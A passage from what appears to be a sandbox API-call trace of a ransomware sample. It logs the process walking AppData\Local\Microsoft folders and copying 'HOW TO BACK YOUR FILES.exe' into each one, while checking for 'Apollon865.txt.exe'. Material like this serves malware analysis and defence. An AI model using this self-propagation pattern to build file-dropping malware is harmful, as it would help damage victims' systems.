	[0046.353] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\3lkbqzj3\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.356] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.356] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b40910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.357] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.357] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.357] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.357] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b40910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.357] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.357] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.357] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.357] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.357] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b40910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.357] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.357] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b40910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.357] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.357] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0046.357] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0"
	[0046.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0046.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0046.357] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0") returned 61
	[0046.357] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0"
	[0046.357] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.357] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\imjp9_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.362] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.362] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b40910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.362] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.362] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.362] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.362] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b40910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.362] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.362] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.362] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.362] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.362] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b40910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.362] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.362] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b40910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.362] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.362] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0046.362] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1"
	[0046.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0046.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0046.363] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1") returned 61
	[0046.363] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1"
	[0046.363] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.363] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\imjp8_1\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.367] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.367] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b40910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.367] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.367] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.367] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.367] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b40910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.367] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.367] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.367] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.367] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.367] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b40910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.367] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.368] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b40910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b40910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.368] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.368] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0046.368] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12"
	[0046.368] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0046.368] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0046.368] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12") returned 60
	[0046.368] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12"
	[0046.368] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.368] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\imjp12\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.372] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x33b66a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b66a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.372] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.372] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.372] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.372] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x33b66a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b66a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.372] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.372] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.372] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.372] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.372] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b66a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b66a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.372] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.372] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b66a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b66a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.372] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.373] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0046.373] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12"
	[0046.373] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0046.373] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0046.373] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12") returned 59
	[0046.373] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12"
	[0046.373] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.373] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\ime12\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.378] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.378] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x33b66a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b66a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.378] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.378] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.378] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.378] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x33b66a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b66a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.379] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.379] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.379] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.379] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.379] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b66a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b66a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.379] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.379] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b66a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b66a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.379] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.379] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0046.379] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS"
	[0046.379] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0046.379] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0046.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS") returned 59
	[0046.379] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS"
	[0046.379] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.379] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.383] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x33b8cbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b8cbd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.383] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.383] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.383] lstrcmpiW (lpString1=".", lpString2=".") returned 0
